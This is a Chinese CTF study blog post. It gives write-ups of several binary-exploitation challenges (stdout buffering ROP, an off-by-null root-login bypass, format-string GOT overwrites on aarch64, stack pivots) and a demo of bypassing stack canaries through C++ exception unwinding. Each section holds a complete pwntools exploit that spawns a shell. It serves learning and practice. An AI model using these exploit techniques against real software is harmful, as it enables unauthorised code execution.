首页 > 其他分享 >2024暑期学习(一)

2024暑期学习(一)

时间:2024-08-09 17:38:43浏览次数:12  
标签:__ 学习 return libc 暑期 2024 int int64 payload

2024暑期学习(一)

非常非常非常感谢ve1kcon!^ ^✌️2024年暑期学习 (1) - ve1kcon - 博客园 (cnblogs.com)

学习内容:

1.复现了一点点题目

2.了解了C++异常处理

3.学习了Tmux的使用

cqb2024x

ctf

stdout

前置内容(copy):

setvbuf() 函数的原型如下

int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
  • stream 是指向 FILE 对象的指针,该 FILE 对象标识了一个打开的流
  • buffer 是分配给用户的缓冲,如果设置为 NULL,该函数会自动分配一个指定大小的缓冲
  • mode 指定了文件缓冲的模式
  • size 是缓冲的大小,以字节为单位

该函数的三参有三种模式:

  • 全缓冲:0,缓冲区满调用fflush() 后输出缓冲区内容
  • 行缓冲:1,缓冲区满遇到换行符调用fflush() 后输出缓冲区内容
  • 无缓冲:2,直接输出

了解了这些,后面的思路无非是通过填满缓冲区调用fflush()来输出缓冲区内容。但要调用 fflush() 函数显然需要 libc 基地址,但哪怕能够执行到 ROP 链泄出地址,也不会直接将数据输出,那么方法只剩下通过填满缓冲区的方式将数据带出来了。

检查保护

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x3fe000)

main() 函数中存在 0x10 大小栈溢出

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  init(argc, argv, envp);
  puts("where is my stdout???");
  read(0, buf, 0x60uLL);
  return 0;
}
int init()
{
  setvbuf(stdout, 0LL, 0, 0LL);
  return setvbuf(stdin, 0LL, 2, 0LL);
}

vuln()函数:

ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  return read(0, buf, 0x200uLL);
}

extend()函数,这个函数可以用来填满输出缓冲区然后再rop:

__int64 extend()
{
  __int64 result; // rax
  char s[8]; // [rsp+0h] [rbp-30h] BYREF
  __int64 v2; // [rsp+8h] [rbp-28h]
  __int64 v3; // [rsp+10h] [rbp-20h]
  __int64 v4; // [rsp+18h] [rbp-18h]
  int v5; // [rsp+28h] [rbp-8h]
  int v6; // [rsp+2Ch] [rbp-4h]

  puts("Just to increase the number of got tables");
  *(_QWORD *)s = 0x216F6C6C6568LL;
  v2 = 0LL;
  v3 = 0LL;
  v4 = 0LL;
  v6 = strlen(s);
  if ( strcmp(s, "hello!") )
    exit(0);
  puts("hello!");
  srand(1u);
  v5 = 0;
  result = (unsigned int)(rand() % 16);
  v5 = result;
  return result;
}

exp:

from pwn import *

#p = remote("127.0.0.1",8888)
elf = ELF("./stdout")
p = process([elf.path])
libc = ELF("/home/ubuntu/tools/glibc-all-in-one/libs/2.31-0ubuntu9.14_amd64/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

vuln = 0x40125D
pop_rdi_ret = 0x4013d3
puts_plt = 0x4010B0
ret = 0x000000000040101a
extend = 0x401287
pop_rsi_r15=0x4013d1
puts_got=0x404018
payload='a'*0x58+p64(vuln)
p.send(payload)
for i in range(2):
 payload='a'*0x28+p64(extend)*55+p64(pop_rdi_ret)+p64(puts_got)+p64(elf.plt['puts'])+p64(vuln)
 p.send(payload)
libc_base=u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-libc.sym["puts"]
info("libc_base: "+hex(libc_base))

system=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search('/bin/sh'))
payload='a'*0x28+p64(extend)*56+p64(pop_rdi_ret)+p64(binsh)+p64(system)
p.send(payload)

p.interactive()

awdp

simpleSys

检查保护:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

menu()

int sub_17AD()
{
  puts("1. sign up");
  puts("2. login");
  puts("3. add bio");
  puts("4. logout");
  return printf("Enter your choice: ");
}

选项 3 如下,需要 root 账户才能使用,evil_read((__int64)s, v3) 存在整数溢出从而导致栈溢出 + off_by_null,然后还可以填充数据直到栈上存储了地址的地方,在执行到 printf("confirm your bio: %s [y/n]", s) 时带出地址信息,泄出地址后选择 n 继续循环

int sub_146A()
{
  int result; // eax
  char s[91]; // [rsp+0h] [rbp-60h] BYREF
  unsigned __int8 v2; // [rsp+5Bh] [rbp-5h] BYREF
  int v3; // [rsp+5Ch] [rbp-4h]

  if ( !check_login )
    return puts("login first");
  if ( !check_root )
    return puts("only root");
  while ( 1 )
  {
    printf("input length: ");
    v3 = get_num();
    if ( v3 > 80 )
      break;
    evil_read((__int64)s, v3);
    printf("confirm your bio: %s [y/n]", s);
    __isoc99_scanf("%c", &v2);
    getchar();
    result = v2;
    if ( v2 == 'y' )
      return result;
    v3 = 0;
    memset(s, 0, 0x50uLL);
  }
  return puts("too long");
}

选项2,输入name为root可以进入循环,base64() 函数会将用户输入的密码经过 base64 编码后存储在 mypasswd_b

int login()
{
  unsigned int v0; // eax
  size_t v1; // rax
  int result; // eax
  size_t v3; // rax
  size_t v4; // rax
  char mypasswd[48]; // [rsp+0h] [rbp-60h] BYREF
  char myname[48]; // [rsp+30h] [rbp-30h] BYREF

  memset(myname, 0, 0x25uLL);
  memset(mypasswd, 0, 0x25uLL);
  printf("username: ");
  evil_read((__int64)myname, 0x24uLL);
  printf("password: ");
  evil_read((__int64)mypasswd, 0x24uLL);
  if ( !strncmp(myname, "root", 4uLL) )
  {
    v0 = strlen(mypasswd);
    base64(mypasswd, v0, &mypasswd_b);
    v1 = strlen(root_passwd);
    if ( !strncmp(&mypasswd_b, root_passwd, v1) )
    {
      result = printf("%s login successfully\n", myname);
      check_root = 1;
      check_login = 1;
      return result;
    }
  }
  else
  {
    v3 = strlen(name);
    if ( !strncmp(myname, name, v3) )
    {
      v4 = strlen(passwd);
      if ( !strncmp(mypasswd, passwd, v4) )
      {
        result = printf("%s login successfully\n", myname);
        check_login = 1;
        return result;
      }
    }
  }
  return puts("fail to login");
}

刚好mypasswd_b和root_passwd是挨着的,”输入 36 个 'a' 进行编码后长度为 0x30,存储到 mypasswd_b 时因为存在 off-by-null 会将紧挨着的 root_passwd 低位覆盖为 '\x00',使得判断长度 v1 = strlen(root_passwd) 的值为 0 绕过判断,从而能够登录 root 账户“,看了下base64(),应该结尾这个地方存在off-by-null, *(_BYTE *)(v11 + a3) = 0;

.data:0000000000004020 ; char mypasswd_b
.data:0000000000004020 mypasswd_b      dq 0FFFFFFFFFFFFFFFFh   ; DATA XREF: login+B7↑o
.data:0000000000004020                                         ; login+E4↑o
.data:0000000000004028                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004030                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004038                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004040                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004048                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004050 ; char root_passwd[24]
.data:0000000000004050 root_passwd     db 'dGhpcyBpcyBwYXNzd29yZA=='
.data:0000000000004050                                         ; DATA XREF: login+C8↑o
.data:0000000000004050                                         ; login+DA↑o

其实可以发现 root_passwd 是以硬编码的形式存储,可以 base64 解码得到明文 this is password,但还是登录失败,经过调试发现了奇怪的地方,strncmp() 函数的三参是 0x19,照例来说编码的长度是 0x18

image-20240724154923371

v1 = strlen(root_passwd) 判断的是 root_passwd 的长度,因为后面其紧跟着 '\x01' 字节,所以导致检测长度增加,然后它也不是一串合法的经 base64 编码能得到字符串,所以只能按上述方法绕过

image-20240724155922396

image-20240724160025891

exp:

from pwn import *

#p = remote("127.0.0.1",8888)
elf = ELF("./simpleSys")
p = process([elf.path])
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
def menu(index):
    p.sendlineafter('Enter your choice: ', str(index))

def signup(username, passwd):
    menu(1)
    p.sendlineafter('username: ', username)
    p.sendlineafter('password: ', passwd)

def login(username, passwd):
    menu(2)
    p.sendlineafter('username: ', username)
    p.sendlineafter('password: ', passwd)

def addbio(len, content='a'):
    menu(3)
    p.sendlineafter('length: ', str(len))
    p.sendline(content)

# gdb.attach(p,"b *$rebase(0x14B2)")
# pause()
login('root', 'a'*36)
payload = 'a' * (0x30)
addbio(-1, payload)
libc_base=u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))- 0x273040
info("libc base: "+hex(libc_base))

p.sendlineafter('[y/n]', 'n')

pop_rdi_ret=libc_base+0x2a3e5
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
payload = 'a' * (0x60 + 0x8)
payload += p64(pop_rdi_ret + 1)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendlineafter('length: ', '-1')
p.sendline(payload)
p.sendlineafter('[y/n]', 'y')

p.interactive()

WKCTF

baby_stack

检查保护,GOT 表可写,无 canary:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
RUNPATH:  b'./2.27-3ubuntu1.6'

wait()栈上数据大放送,甚至不需要构造 payload,输入数字作为对应偏移即可泄出对应数据:

__int64 wait()
{
  unsigned int v0; // eax
  char s[5]; // [rsp+Bh] [rbp-85h] BYREF
  char format[120]; // [rsp+10h] [rbp-80h] BYREF

  puts("Press enter to continue");
  getc(stdin);
  printf("Pick a number: ");
  fgets(s, 5, stdin);
  v0 = strtol(s, 0LL, 10);
  snprintf(format, 0x64uLL, "Your magic number is: %%%d$llx\n", v0);
  printf(format);
  return introduce();
}

get_num_bytes():

int get_num_bytes()
{
  unsigned int v0; // eax
  char s[13]; // [rsp+Bh] [rbp-15h] BYREF

  printf("How many bytes do you want to read (max 256)? ");
  fgets(s, 5, stdin);
  v0 = strtol(s, 0LL, 10);
  if ( v0 > 0x100 )
    return puts("Don't break the rules!");
  else
    return echo(v0);
}

echo()

__int64 __fastcall echo(unsigned int a1)
{
  char v2[256]; // [rsp+0h] [rbp-100h] BYREF

  return echo_inner(v2, a1);
}

echo_inner(_BYTE *a1, int a2)off-by-null,可以改 rbp 低位为 \x00,效果是在 echo_inner() 函数返回时有一定几率能够抬栈,此时若在上方布置了 ROP 链,则在上层函数 echo() 返回时就能执行到布置的链子,在 ROP 链前添加尽可能多的滑板指令可以提高成功率:

int __fastcall echo_inner(_BYTE *a1, int a2)
{
  a1[(int)fread(a1, 1uLL, a2, stdin)] = 0;
  puts("You said:");
  return printf("%s", a1);
}

刚开始没怎么懂,后来调试了几遍弄明白了,就是利用返回的leave;ret;栈迁移:

exp:

from pwn import *

#p = remote("127.0.0.1",8888)
elf = ELF("./pwn")
p = process([elf.path])
libc = ELF("/home/ubuntu/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'


gdb.attach(p, "b *$rebase(0x1300)\nc")
pause()
p.send('1')
p.sendlineafter('number: ','6')
p.recvuntil('number is: ')
libc_base=int(p.recv(12),16)-0x57e3-0x3e7000
info("libc_base: "+hex(libc_base))
p.sendlineafter('(max 256)? ', '256')

ret=libc_base+0x8aa
onegadget=libc_base+[0x4f29e,0x4f2a5,0x4f302,0x10a2fc][2]
payload=p64(ret)*31+p64(onegadget)
# pop_rdi_ret=libc_base+0x2164f
# system=libc_base+libc.sym['system']
# bin_sh=libc_base+next(libc.search('/bin/sh'))
# payload=p64(ret)*28+p64(pop_rdi_ret)+p64(bin_sh)+p64(0)

p.send(payload)

p.interactive()

something_changed

检查保护,一个 AARCH64 架构的程序,GOT 表可写,开了 canary 保护:

Arch:     aarch64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

AARCH64(也称为 ARM64)是 ARM 公司的 64 位处理器架构。它是 ARMv8-A 架构的一部分,设计用于增强性能和处理能力,特别是在移动设备、嵌入式系统、服务器和高性能计算领域。

➜  silent ./silent 
/lib/ld-linux-aarch64.so.1: No such file or directory

运行报错,偷看下ve1kcon老师的作业

解决方法如下

$ sudo apt-get install gcc-10-aarch64-linux-gnu
$ sudo cp /usr/aarch64-linux-gnu/lib/* /lib/

main()main函数存在栈溢出漏洞和格式化字符串漏洞:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v4; // x19
  int i; // [xsp+FCCh] [xbp+2Ch]
  char v6[40]; // [xsp+FD0h] [xbp+30h] BYREF
  __int64 v7; // [xsp+FF8h] [xbp+58h]

  v7 = _bss_start;
  read(0, v6, 0x50uLL);
  for ( i = 0; ; ++i )
  {
    v4 = i;
    if ( v4 >= strlen(v6) )
      break;
    if ( (char *)(unsigned __int8)v6[i] == "$" )
      return 0;
  }
  printf(v6);
  return 0;
}

存在backdoor:

__int64 backdoor()
{
  __int64 v1; // [xsp+18h] [xbp+18h]

  v1 = _bss_start;
  system("/bin/sh");
  return v1 ^ _bss_start;
}

测下偏移,偏移是14:

➜  silent ./silent
aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaaaaaa-0x40007ffd80-0x2c-0xfffff-(nil)-(nil)-0x6f242c6f242c6f24-0x7f7f7f7f7f7f7f7f-0x40007ffd70-0x40008773fc-0x40007ffee8-0x400081314c-0x40007ffee8-0x4b00000001-0x6161616161616161-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70

canary被破坏会触发__stack_chk_fail() 函数,所以直接使用 fmtstr_payload 这个轮子将 __stack_chk_fail() 函数的 GOT 表改成后门地址

exp:

from pwn import *

#p = remote("127.0.0.1",8888)
elf = ELF("./silent")
p = process([elf.path])
#libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

payload=fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
p.sendline(payload)

p.interactive()

如何调试异构这道异构题:

在运行于 x86_64 架构上的 Ubuntu 系统里查看 arm 交叉编译的可执行文件依赖的动态库

➜  silent readelf -a ./silent | grep "Shared" 
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
 0x0000000000000001 (NEEDED)             Shared library: [ld-linux-aarch64.so.1]

第一个终端运行脚本,注意修改建立连接的语句 p = process(['qemu-aarch64-static', '-g', '1234', './pwn']),然后另起一个终端使用 GDB 连上去

另外 GDB 默认会自动检测并使用目标系统的字节序模式,但以防万一也可以自行设置小端序 pwndbg> set endian little

异构程序的调试和相关指令集学习详见 PowerPC&ARM架构下的pwn初探

$ gdb-multiarch -q -ex "set architecture aarch64" ./pwn
pwndbg> add-symbol-file ./libc.so.6
pwndbg> set endian little
pwndbg> target remote :1234

exp:

from pwn import *
context(arch='aarch64', os='linux', log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]
# p = process(['qemu-aarch64-static', './pwn'])
p = process(['qemu-aarch64-static', '-g', '1234', './silent'])

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()


debug('''
add-symbol-file /lib/x86_64-linux-gnu/libc.so.6
target remote :1234
b *0x400854
c
''')
payload = fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
p.sendline(payload)


p.interactive()

C++异常处理

前置知识:

异常是程序在执行期间产生的问题。C++ 异常是指在程序运行时发生的特殊情况,比如尝试除以零的操作。

异常提供了一种转移程序控制权的方式。C++ 异常处理涉及到三个关键字:try、catch、throw

  • throw: 当问题出现时,程序会抛出一个异常。这是通过使用 throw 关键字来完成的。
  • catch: 在您想要处理问题的地方,通过异常处理程序捕获异常。catch 关键字用于捕获异常。
  • try: try 块中的代码标识将被激活的特定异常。它后面通常跟着一个或多个 catch 块。

如果有一个块抛出一个异常,捕获异常的方法会使用 trycatch 关键字。try 块中放置可能抛出异常的代码,try 块中的代码被称为保护代码。使用 try/catch 语句的语法如下所示:

try { // 保护代码 }catch( ExceptionName e1 ) { // catch 块 }catch( ExceptionName e2 ) { // catch 块 }catch( ExceptionName eN ) { // catch 块 }

如果 try 块在不同的情境下会抛出不同的异常,这个时候可以尝试罗列多个 catch 语句,用于捕获不同类型的异常。来自-C++ 异常处理 | 菜鸟教程 (runoob.com)

调试一下ve1kcon的demo来加深对异常处理机制的理解,目的是去验证下列操作的可行性:

  1. 通过篡改 rbp 可以实现类似栈迁移的效果,来控制程序执行流 ROP
  2. unwind 会检测在调用链上的函数里是否有 catch handler,要有能捕捉对应类型异常的 catch 块;通过劫持 ret 可以执行到目标函数的 catch 代码块,但是前提是要需要拥有合法的 rbp
// exception.cpp
// g++ exception.cpp -o exc -no-pie -fPIC
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void backdoor()
{
    try
    {
        printf("We have never called this backdoor!");
    }
    catch (const char *s)
    {
        printf("[!] Backdoor has catched the exception: %s\n", s);
        system("/bin/sh");
    }
}

class x
{
public:
    char buf[0x10];
    x(void)
    {
        // printf("x:x() called!\n");
    }
    ~x(void)
    {
        // printf("x:~x() called!\n");
    }
};

void input()
{
    x tmp;
    printf("[!] enter your input:");
    fflush(stdout);
    int count = 0x100;
    size_t len = read(0, tmp.buf, count);
    if (len > 0x10)
    {
        throw "Buffer overflow.";
    }
    printf("[+] input() return.\n");
}

int main()
{
    try
    {
        input();
        printf("--------------------------------------\n");
        throw 1;
    }
    catch (int x)
    {
        printf("[-] Int: %d\n", x);
    }
    catch (const char *s)
    {
        printf("[-] String: %s\n", s);
    }
    printf("[+] main() return.\n");
    return 0;
}

检查一下保护,开了canary

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

输入点 buf 距离 rbp 的距离是0x30

unsigned __int64 input(void)
{
  _QWORD *exception; // rax
  char buf[24]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-18h]

  v3 = __readfsqword(0x28u);
  x::x((x *)buf);
  printf("[!] enter your input:");
  fflush(stdout);
  if ( (unsigned __int64)read(0, buf, 0x100uLL) > 0x10 )
  {
    exception = __cxa_allocate_exception(8uLL);
    *exception = "Buffer overflow.";
    __cxa_throw(exception, (struct type_info *)&`typeinfo for'char const*, 0LL);
  }
  puts("[+] input() return.");
  x::~x((x *)buf);
  return v3 - __readfsqword(0x28u);
}

输入长度分别为0x31和0x39的 PoC,发现会报不同的 crash,合理推测栈上的数据(例如 ret, rbp)会影响异常处理的流程

➜  C++异常处理 ./exc
[!] enter your input:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
[-] String: Buffer overflow.
[+] main() return.
➜  C++异常处理 ./exc
[!] enter your input:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa
[1]    6613 bus error (core dumped)  ./exc

当程序执行到 input() 函数中的某个部分发生异常时,程序会立即开始异常处理过程,而不会继续执行该函数中异常后的代码。

这是因为异常处理会从 __cxa_throw() 开始,然后进行栈展开(unwind)、清理(cleanup)、寻找异常处理器(handler)等步骤。在这个过程中,程序不会执行发生异常的函数的剩余部分。它会沿着函数调用链向上查找,直到找到能够处理该异常的最近的函数,然后跳转到该函数的 catch 块继续执行。

因此,出现异常的函数中的 throw 语句后的代码,以及在栈展开过程中被跳过的函数的剩余代码,都不会被执行。这就是为什么你不会看到 input() 函数中 throw 语句后的任何输出。

image-20240727170245393

继续运行程序到报错的位置,0x401506 这条 ret 指令处出了问题,是错误的返回地址导致的,记录下这个指令地址

image-20240727190352838

根据指令地址,可以在 IDA 中定位到这是异常处理结束后的最终 ret 指令。因此,可以确定程序在执行 main 函数的异常处理器时崩溃。导致这种崩溃的原因很明显:最后执行的 leave; ret 指令将返回地址设置为 [rbp+8],导致非法的返回地址。这意味着可以在异常处理器中完成栈迁移。因此,可以尝试通过修改 rbp 来实现控制程序执行,从而提前布置好的 ROP 链。

image-20240727190807876

接下来尝试劫持程序去执行 GOT 表里的函数

image-20240727191757888

把rbp改成puts.got-0x8,利用 poc2 = padding + p64(0x404050-0x8),运行到上述断点处发现成功调用到了 puts 函数

image-20240727203416661

但这种利用方式只适用于 “通过将 old_rbp 存储于栈中来保留现场” 的函数调用约定,以及需要出现异常的函数的 caller function 要存在处理对应异常的代码块,否则也会走到 terminate

为了调试上述说法,对 demo 作了修改,主要改动如下

void test()
{
    x tmp;
    printf("[!] enter your input:");
    fflush(stdout);
    int count = 0x100;
    size_t len = read(0, tmp.buf, count);
    if (len > 0x10)
    {
        throw "Buffer overflow.";
    }
    printf("[+] test() return.\n");
}

void input()
{
    test();
    printf("[+] input() return.\n");
}

这回同样是使用 poc2,但 crash 了

image-20240727204540384

对 demo 重新修改的部分如下

void input()
{
    try
    {
        test();
    }
    catch (const char *s)
    {
        printf("[-] String(From input): %s\n", s);
    }
    printf("[+] input() return.\n");
}

再琢磨下异常处理机制,能够发现另外一个利用点,就是假如函数A内有能够处理对应异常的 catch 块,是否可以通过影响运行时栈的函数调用链,即更改某 callee function ret 地址,从而能够成功执行到函数A的 handler 呢

下面尝试通过直接劫持 input() 函数的 ret, 可以发现在源码中有定义 backdoor() 函数,但程序中并没有一处存在对该后门函数的引用,利用 poc4 = poc2 + p64(0x401292+1) 尝试触发后门

这里将返回地址填充成了 backdoor() 函数里 try 代码块里的地址,它是一个范围,经测试能够成功利用的是一个左开右不确定的区间(x)

.text:0000000000401283                 lea     rax, format     ; "We have never called this backdoor!"
.text:000000000040128A                 mov     rdi, rax        ; format
.text:000000000040128D                 mov     eax, 0
.text:0000000000401292 ;   try {
.text:0000000000401292                 call    _printf
.text:0000000000401292 ;   } // starts at 401292
.text:0000000000401297                 jmp     short loc_4012FF

可以看见程序执行了后门函数的异常处理模块,复现成功,成功执行到了一个从未引用过的函数,而且程序从始至终都是开了 canary 保护的,这直接造成的栈溢出却能绕过 stack_check_fail() 这个函数对栈进行检测

image-20240727214549482

exp:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './exc'
p = process(pwnfile)

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def exp():
    debug('b *(&_Unwind_RaiseException+463)')				# call _read
    # b __cxa_throw@plt
    # b *0x401506						# handler ret
    # b *(&_Unwind_RaiseException+463)  # check ret
    test = 'a'*5
    padding = 'a'*0x30
    # poc = padding + '\n'
    #poc1 = padding + '\x01'
    poc2 = padding + p64(0x404050-0x8)
    #poc3 = poc2 + 'b'*8
    poc4 = poc2 + p64(0x401292+1)
    p.sendafter('input:', poc4)

exp()
p.interactive()

N1CTF2023_n1canary

检查保护:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

main():

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  __int64 v4; // rax
  _QWORD v6[3]; // [rsp+0h] [rbp-18h] BYREF

  v6[1] = __readfsqword(0x28u);
  setbuf(stdin, 0LL, envp);
  setbuf(stdout, 0LL, v3);
  init_canary();
  std::make_unique<BOFApp>(v6);
  v4 = std::unique_ptr<BOFApp>::operator->(v6);
  (*(void (__fastcall **)(__int64))(*(_QWORD *)v4 + 16LL))(v4);
  std::unique_ptr<BOFApp>::~unique_ptr(v6);
  return 0;
}

readall 函数被调用以读取用户提供的 canary 值。模板参数 unsigned long long [8] 表示要读取的类型是一个包含 8 个 unsigned long long 的数组。&user_canary 是存储用户提供的 canary 值的地址。函数返回 readall 的结果,这是一个 __int64 类型的值。

__int64 init_canary(void)
{
  if ( getrandom(&sys_canary, 64LL, 0LL) != 64 )
    raise("canary init error");
  puts("To increase entropy, give me your canary");
  return readall<unsigned long long [8]>(&user_canary);
}

__int64 __fastcall ProtectedBuffer<64ul>::getCanary(unsigned __int64 a1)
{
  return user_canary[(a1 >> 4) & 7] ^ sys_canary[(a1 >> 4) & 7];
}

这段代码是 BOFApp 类的构造函数实现,具体做了以下事情:

  1. 调用基类构造函数:调用 UnsafeApp 类的构造函数来初始化 this 对象。
  2. 设置虚表指针:将 this 对象的前 8 字节设置为指向 off_4ED510,这通常是一个指向虚函数表(vtable)的指针,用于支持多态性。

概括来说,这段代码在创建 BOFApp 对象时,先初始化其基类 UnsafeApp,然后设置其虚表指针。

void __fastcall BOFApp::BOFApp(BOFApp *this)
{
  UnsafeApp::UnsafeApp(this);
  *(_QWORD *)this = off_4ED510;
}

创建一个 BOFApp 类的实例,然后调用 BOFApp构造函数初始化对象,跟进后面那个函数发现进行了 *a1 = v1 的操作

__int64 __fastcall std::make_unique<BOFApp>(__int64 a1)
{
  BOFApp *v1; // rbx

  v1 = (BOFApp *)operator new(8uLL);
  *(_QWORD *)v1 = 0LL;
  BOFApp::BOFApp(v1);
  std::unique_ptr<BOFApp>::unique_ptr<std::default_delete<BOFApp>,void>(a1, v1);
  return a1;
}

执行完std::make_unique<BOFApp>((__int64)v6) 后,栈变量 v6 被重新赋值

image-20240729161120869

接下来调用BOFApp::launch() 函数

0x4ed520 <_ZTV6BOFApp+32>:	0x0000000000403552	0x0000000000000000
0x4ed530:	0x0000000000000000	0x0000000000000000
.data.rel.ro:00000000004ED510 off_4ED510      dq offset _ZN6BOFAppD2Ev
.data.rel.ro:00000000004ED510                                         ; DATA XREF: BOFApp::BOFApp(void)+16↑o
.data.rel.ro:00000000004ED510                                         ; BOFApp::~BOFApp()+9↑o
.data.rel.ro:00000000004ED510                                         ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED518                 dq offset _ZN6BOFAppD0Ev ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED520                 dq offset _ZN6BOFApp6launchEv ; BOFApp::launch(void)

最后是对象的析构函数,里面要重点关注的函数的路径是 std::unique_ptr<BOFApp>::~unique_ptr() --> std::default_delete<BOFApp>::operator()(BOFApp*)这里存在函数指针调用,这意味着只需要控制 a2 的值就能控制程序流

__int64 __fastcall std::default_delete<BOFApp>::operator()(__int64 a1, __int64 a2)
{
  __int64 result; // rax

  result = a2;
  if ( a2 )
    return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a2 + 8LL))(a2);
  return result;
}

通过调试分析参数a2和前面的栈变量v6有关

image-20240729163048503

image-20240729164858743

这里调用了0x4038b8

image-20240729165226360

这里存在栈溢出:

__int64 __fastcall BOFApp::launch(void)::{lambda(char *)#1}::operator()(
        __int64 a1,
        __int64 a2,
        int a3,
        int a4,
        int a5,
        int a6)
{
  return _isoc23_scanf((unsigned int)"%[^\n]", a2, a3, a4, a5, a6, a2, a1);
}

chatgpt回答:这段代码中存在栈溢出的风险,主要是因为 _isoc23_scanf 函数的参数不正确。具体问题如下:

  1. 重复使用的参数_isoc23_scanf 接受的参数是变长参数列表,但在调用时,参数 a2 被重复使用了两次。这会导致未定义行为,因为 scanf 系列函数期望所有参数都是独立的。

  2. 参数数量错误_isoc23_scanf 的第一个参数是格式字符串,后续参数是根据格式字符串匹配的。传递给 _isoc23_scanf 的参数应与格式字符串中指定的格式完全一致。这里的格式字符串 "%[^\n]" 只需要一个参数,但实际传递了七个参数(包括重复的 a2a1)。

    "%[^\n]" 格式字符串会读取直到换行符的所有字符。如果输入的字符数超过了目标缓冲区的大小,就会导致缓冲区溢出。

断点下载__isoc23_scanf,输入deadbeef看下写入的位置

image-20240729174018174

距离指针0x70

bool __fastcall ProtectedBuffer<64ul>::check(unsigned __int64 a1)
{
  __int64 v1; // rbx
  bool result; // al

  v1 = *(_QWORD *)(a1 + 0x48);
  result = v1 != ProtectedBuffer<64ul>::getCanary(a1);
  if ( result )
    raise("*** stack smash detected ***");
  return result;
}

void __fastcall __noreturn raise(const char *a1)
{
  std::runtime_error *exception; // rbx

  puts(a1);
  exception = (std::runtime_error *)_cxa_allocate_exception(0x10uLL);
  std::runtime_error::runtime_error(exception, a1);
  _cxa_throw(exception, (struct type_info *)&`typeinfo for'std::runtime_error, std::runtime_error::~runtime_error);
}

0x403291下断点,只要控了 RAX 就能够控到 RDX,在最后的 call rdx; 处便能造成任意代码执行

image-20240729181326985

image-20240729200135589

image-20240729200219711

exp:

from pwn import *

#p = remote("127.0.0.1",8888)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
#context.terminal = ["tmux", "splitw", "-h"]
context.log_level = 'debug'
p = process([elf.path])

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()
# debug('b *0x403291\nc')
# b *0x403547               #BOFApp::launch(void):_isoc23_scanf
# b *0x40340D               # Destructor
# b *0x403909               # pointer call
# b *0x403291               # raise->throw
# b *0x403432               # <main+146>    call std::unique_ptr<BOFApp, std::default_delete<BOFApp> >::~unique_ptr()
# b *0x4038fc
backdoor = 0x403387
user_canary = 0x4F4AA0
payload = p64(user_canary+8) + p64(backdoor)*2
payload = payload.ljust(0x40, 'a')
p.sendafter('canary\n', payload)

payload = 'a'*(0x70-0x8)
payload += p64(0x403407)    # ret
# payload += 'a'*(0x8)
payload += p64(user_canary) # BOFApp *v6
p.sendlineafter(' to pwn :)\n', payload)


p.interactive()

标签:__,学习,return,libc,暑期,2024,int,int64,payload
From: https://www.cnblogs.com/cosyQAQ/p/18351124

相关文章

  • 2024年全球APP聚合广告平台推荐
